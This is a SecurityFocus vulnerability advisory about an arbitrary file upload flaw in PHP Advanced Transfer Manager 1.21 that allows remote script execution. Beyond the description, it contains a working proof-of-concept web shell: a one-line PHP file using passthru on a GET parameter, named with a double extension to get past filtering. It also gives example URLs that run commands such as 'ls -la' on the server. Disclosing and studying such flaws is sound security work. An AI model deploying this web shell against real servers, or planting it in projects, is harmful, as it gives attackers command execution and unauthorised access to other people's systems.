source: http://www.securityfocus.com/bid/13542/info

PHP Advanced Transfer Manager is prone to a vulnerability regarding the uploading of arbitrary files.

If successfully exploited, an attacker can execute arbitrary script code on a vulnerable server. This can lead to unauthorized access in the context of the affected server.

This issue reportedly affects PHP Advanced Transfer Manager version 1.21; earlier versions may also be vulnerable. 

Create file:
nst.php.ns

<pre>
<?
passthru($_GET['nst']);
?>

Then upload, and go to http://www.example.com/files/nst.php.ns?nst=ls -la

or

<?
passthru($_GET['nst']);
?>

Then upload, and go to http://example.com/files/nst.php.ns?nst=http://your/file.txt